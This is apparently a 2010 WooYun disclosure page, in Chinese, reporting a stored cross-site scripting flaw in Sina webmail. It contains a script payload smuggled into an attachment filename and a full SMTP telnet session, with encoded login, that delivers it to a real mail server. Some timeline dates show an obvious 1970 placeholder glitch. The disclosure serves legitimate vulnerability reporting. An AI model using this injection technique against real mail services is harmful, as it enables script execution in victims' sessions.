当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2010-077

漏洞标题:Sina邮箱存在存储型跨站脚本漏洞

相关厂商:新浪

漏洞作者: kEvin1986

提交时间:2010-07-23 13:06

修复时间:2010-08-23 06:00

公开时间:2010-08-23 06:00

漏洞类型:xss跨站脚本攻击

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2010-07-23: 细节已通知厂商并且等待厂商处理中
1970-01-01: 厂商已经确认,细节仅向厂商公开
1970-01-11: 细节向核心白帽子及相关领域专家公开
1970-01-21: 细节向普通白帽子公开
1970-01-31: 细节向实习白帽子公开
2010-08-23: 细节向公众公开

简要描述:

新浪邮件某功能未正确过滤提交的数据导致跨站脚本攻击

详细说明:

通过SMTP发送DATA字段
</code>
------_=_NextPart_001_01CAC74B.52CBABC0
Content-Type: application/octet-stream;
name="findshell.exe;<img src=1 onerror=alert(3)>"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
filename="findshell.exe;<img src=1 onerror=alert(3)>"
</code>
到服务器, 可导致在WEB页面正文输出的时候产生跨站脚本漏洞.

漏洞证明:

telnet smtp.sina.com.cn
helo world
250 irxd5-187.sinamail.sina.com.cn
auth login
334 VXNlcm5hbWU6
NTFuNA==
334 UGFzc3dvcmQ6
YXNkZmFzZGY=
235 #2.0.0 OK Authenticated
mail from:<51n4@sina.com>
250 sender <51n4@sina.com> ok
rcpt to:<51n4@sina.com>
250 recipient <51n4@sina.com> ok
data
354 go ahead
Return-Path: <51n4@sina.com>
X-MimeOLE: Produced By Microsoft Exchange V6.5
Content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary="----_=_NextPart_001_01CAC74B.52CBABC0"
Subject: welcome to use Microsoft Live Messenger
Date: Fri, 19 Mar 2010 18:02:45 +0800
Message-ID: <9C8377EC429C3B4FA12C4CA87E18922601137EB6@exchange.microsoft.com>
X-MS-Has-Attach: yes
X-MS-TNEF-Correlator:
From: "AD" <51n4@sina.com>
To: <51n4@sina.com>
This is a multi-part message in MIME format.
....................................
------_=_NextPart_001_01CAC74B.52CBABC0
Content-Type: application/octet-stream;
name="findshell.exe;<img src=1 onerror=alert(3)>"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
filename="findshell.exe;<img src=1 onerror=alert(3)>"
...................................
.
250 ok: Message 154992874 accepted

修复方案:

在输出内容的时候做HTML编码过滤.

版权声明:转载请注明来源 kEvin1986@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:8

确认时间:2010-07-23 13:06

厂商回复:

非常感谢,我们马上修复

最新状态:

暂无